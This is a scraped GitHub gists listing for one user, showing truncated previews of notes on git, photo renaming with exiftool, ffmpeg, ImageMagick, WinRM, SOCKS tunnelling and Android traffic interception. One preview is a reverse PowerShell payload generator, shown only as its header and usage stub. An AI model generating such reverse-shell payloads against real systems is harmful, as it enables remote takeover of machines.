tothi’s gists

tothi / git_cheatsheet.txt

Last active August 15, 2024 20:26

git cheatsheet for basic things

	# git cheatsheet: some basic git instructions (w.i.p.)

	# create bare repo for an existing source tree
	git init --bare project.git
	cd project.git

	# edit exclude
	edit info/exclude

	# add files to bare repo

tothi / gcstar-win32

Last active December 18, 2020 15:39

	# quick note about running GCstar (collection manager) on Win32 (x64)

	[GCstar homepage](http://www.gcstar.org/index.en.php)

	[project](https://gna.org/projects/gcstar) is hosted on [Gna!](https://gna.org)

	current version is 1.7.1

	win32 full-featured installer is available up to [1.6.1](http://download.gna.org/gcstar/win32/GCstar_1.6.1_Setup.exe)

tothi / photo_batch_rename_HOWTO.txt

Last active April 23, 2019 19:57

organize photos based on date taken and creator device

	# fix time for Sony camera images
	exiftool -v0 "-AllDates+=1" -overwrite_original DSC*

	# exactly (diff is 1 hour -4 min):
	exiftool -v0 "-AllDates+=0:56" -overwrite_original DSC*

	# NOTE: cant modify MTS files ;(

	# batch rename all files (except mp4) in dir based on exif date + model (dry test run)
	exiftool --ext mp4 -v0 -d %Y%m%d_%H%M%S%%-c '-testname<${DateTimeOriginal}_${Model;s/[ -]//g}.%e' .

tothi / keybase.md

Created September 5, 2018 19:24

I hereby claim:

I am tothi on github.
I am tothi (https://keybase.io/tothi) on keybase.
I have a public key whose fingerprint is 485B 0C27 A19A D1E1 302F A86F F4A7 D558 7B40 6D08

To claim this, I am signing this object:

tothi / winrm-interactive.rb

Created February 10, 2019 20:17

interactive remote powershell (winrm) with client certificate auth

	#!/usr/bin/ruby
	#
	# https://github.com/WinRb/WinRM
	#

	require 'winrm'
	opts = {
	endpoint: 'https://xxx.xxx.xxx.xxx:5986/wsman',
	transport: :ssl,
	client_cert: 'certs/MyClient.cer',

tothi / mkpsrevshell.py

Created February 17, 2019 00:05

reverse PowerShell cmdline payload generator (base64 encoded)

	#!/usr/bin/env python3
	#
	# generate reverse powershell cmdline with base64 encoded args
	#

	import sys
	import base64

	def help():
	print("USAGE: %s IP PORT" % sys.argv[0])

tothi / fixts.sh

Last active May 15, 2019 08:37

fix ip camera stream timestamp recorded with ffmpeg segment option

	#!/bin/bash

	IFS=$'\n' ; for s in `ls stream_*.asf \| head -n -1` ; do
	ffmpeg -i ${s} -y -c:v copy -an -bsf:v h264_mp4toannexb ${s%.asf}.h264
	ffmpeg -r 25 -y -i ${s%.asf}.h264 -c copy ${s%.asf}.mp4 && touch -r ${s} ${s%.asf}.mp4 && rm ${s%.asf}.h264 $s
	done

tothi / android_burp.txt

Last active August 15, 2024 20:24

android emulator setup with sniffer CA

	OBSOLETE: moved to Magisk + Magisk Trust User Certs module.

	Emulator setup with Magisk: https://gist.github.com/tothi/1a206791c8b77d7e42015183c980657e
	Magisk Trust User Certs module: https://github.com/NVISOsecurity/MagiskTrustUserCerts


	android emulator clean install + prepare for https proxy analysis
	=================================================================

	# clean up old packages

tothi / tunnel_vm_socks.txt

Last active October 14, 2024 15:43

tunnel virtualbox through socks (using poor man's vpn = ssh socks tunnel)

	# ssh socks server on :5000 (tunnels traffic to tunnel-endpoint-server)
	ssh -D5000 -NT -v user@tunnel-endpoint-server

	# redsocks: https://github.com/darkk/redsocks
	# 1.) as a socks client, listen on :4999 and connect to :5000
	# 2.) run a dummy udp dns server on :5300 (to force vm to fallback to tcp which is working through ssh socks)
	cat > redsocks.conf <<EOF
	base { log_info=on; redirector=iptables; }
	redsocks { local_ip=127.0.0.1; local_port=4999; ip=127.0.0.1; port=5000; type=socks4; }
	dnstc { local_ip=127.0.0.1; local_port=5300; }

tothi / imagemagick.txt

Last active November 11, 2019 21:43

imagemagick magic

	# batch convert jpg photos to a4 pdf keeping exif orientation

	convert *jpg -compress jpeg -auto-orient -quality 75 -resize 1240x1754 -extent 1240x1754 -gravity center -units PixelsPerInch -density 150x150 out.pdf

	# add auto-rotate to A4 portrait (e.g. for printing):

	convert *jpg -compress jpeg -rotate "-90>" -quality 75 -resize 1240x1754 -extent 1240x1754 -gravity center -units PixelsPerInch -density 150x150 out.pdf